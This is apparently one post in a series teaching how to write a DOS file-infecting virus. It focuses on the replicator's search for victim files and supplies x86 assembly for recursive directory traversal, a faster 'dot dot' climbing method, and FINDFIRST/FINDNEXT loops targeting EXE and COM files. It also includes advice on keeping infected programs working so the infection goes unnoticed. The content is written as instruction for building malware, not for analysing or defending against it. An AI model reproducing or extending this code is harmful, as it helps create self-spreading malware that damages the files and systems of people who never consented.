FIND A FILE TO INFECT

Ok now I will continue my last post on the replicator part.

Before you can infect a file, you have to find it first! This can be a bottleneck in the performance of the virus, so it should be done as efficiently as possible. For runtime virii, there are a few possibilities. You could infect files in only the current directory, or you could write a directory traversal function to infect files in ALL directories (only a few files per run, of course), or you could infect files in only a few select directories. Why would you choose to only infect files in the current directory? It would appear to limit the efficacy of the infections.
However, this is done in some virii either to speed up the virus or to shorten the code size.

Here is a directory traversal function. It uses recursion, so it is rather slow, but it does the job. This was excerpted with some modifications from The Funky Bob Ross Virus [Beta].

traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA

call infect_directory ; Go to search & destroy routines

mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now!

mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
lea dx,[si+offset dir_mask] ; *.*
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ; Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ; else load dirname
mov ah,3Bh ; and changedir there
int 21h
jc short donext ; Do next if invalid
inc word ptr [si+offset nest] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ; Load space allocated for DTA
mov ah,1Ah ; and set DTA to this new area
int 21h ; 'cause it might have changed

mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ; If OK, jmp elsewhere
cmp word ptr [si+offset nest], 0 ; If root directory
; (nest == 0)
jle short cleanup ; then Quit
dec word ptr [si+offset nest] ; Else decrement nest
lea dx, [si+offset back_dir]; '..'
mov ah,3Bh ; Change directory
int 21h ; to previous one
cleanup:
mov sp,bp
pop bp
ret
traverse_fcn endp

; Variables
nest dw 0
back_dir db '..',0
dir_mask db '*.*',0

The code is self-explanatory. Make sure you have a function called infect_directory which scans the directory for possible files to infect and makes sure it doesn't infect already-infected files. This function, in turn, calls infect_file which infects the file.

Note, as I said before, this is slow. A quicker method, albeit not as global, is the "dot dot" method. Hellraiser showed me this neat little trick. Basically, you keep searching each directory and, if you haven't infected enough, go to the previous directory (dot dot) and try again, and so on. The code is simple.

dir_loopy:
call infect_directory
lea dx, [bp+dotdot]
mov ah, 3bh ; CHDIR
int 21h
jnc dir_loopy ; Carry set if in root

; Variables
dotdot db '..',0

Now you must find a file to infect. This is done (in the fragments above) by a function called infect_directory. This function calls FINDFIRST and FINDNEXT a couple of times to find files to infect. You should first set up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that will affect the command-line parameters of the infected program when control is returned to it. This is easily done with the following:

mov ah, 1Ah ; Set DTA
lea dx, [bp+offset DTA] ; to variable called DTA (wow!)
int 21h

Where DTA is a 42-byte chunk of memory. Next, issue a series of FINDFIRST and FINDNEXT calls:

mov ah, 4Eh ; Find first file
mov cx, 0007h ; Any file attribute
lea dx, [bp+offset file_mask]; DS:[DX] --> filemask
int 21h
jc none_found
found_another:
call check_infection
mov ah, 4Fh ; Find next file
int 21h
jnc found_another
none_found:

Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively, you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.

In my next post I will explain about the criteria of the infections.